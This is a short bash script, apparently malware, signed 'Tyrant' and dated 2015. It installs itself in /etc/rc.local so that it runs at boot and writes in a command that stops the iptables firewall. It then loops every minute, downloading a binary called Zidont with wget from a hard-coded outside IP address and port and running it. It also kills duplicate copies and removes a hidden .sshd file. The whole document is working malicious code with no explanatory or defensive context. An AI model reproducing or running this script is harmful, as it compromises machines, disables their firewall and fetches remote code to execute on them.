|
#!/bin/bash
#Welcome like-minded friends to come to exchange.
#We are a group of people who have a dream.
# by:Tyrant
# 2015-02-12
if [ "sh /etc/Zidong.sh &" = "$(cat /etc/rc.local | grep /etc/Zidong.sh | grep -v grep)" ]; then
echo ""
else
echo "sh /etc/Zidong.sh &" >> /etc/rc.local
echo "/etc/init.d/iptables stop">>/etc/rc.local
echo "nohup /etc/Zidont > /dev/null 2>&1 &">>/etc/rc.local
fi
while [ 1 ]; do
Centos_sshd_killn=$(ps aux | grep "/etc/Zidont" | grep -v grep | wc -l)
if [[ $Centos_sshd_killn -eq 0 ]]; then
if [ ! -f "/etc/Zidont" ]; then
if [ -f "/usr/bin/wget" ]; then
cp /usr/bin/wget .
chmod +x wget
wget -O /etc/Zidont http://117.21.173.4:5896/Zidont
chmod +x /etc/Zidont
rm wget -rf
else
echo "No wget"
fi
fi
/etc/Zidont &
#./Zidont &
elif [[ $Centos_sshd_killn -gt 1 ]]; then
for killed in $(ps aux | grep "Zidont" | grep -v grep | awk '{print $2}'); do
Centos_sshd_killn=$(($Centos_sshd_killn-1))
if [[ $Centos_sshd_killn -eq 1 ]]; then
continue
else
kill -9 $killed
fi
done
else
kill -9 .sshd
rm -f /usr/bin/.sshd
wget -O /etc/Zidont http://117.21.173.4:5896/Zidont
fi
sleep 60
done
|
|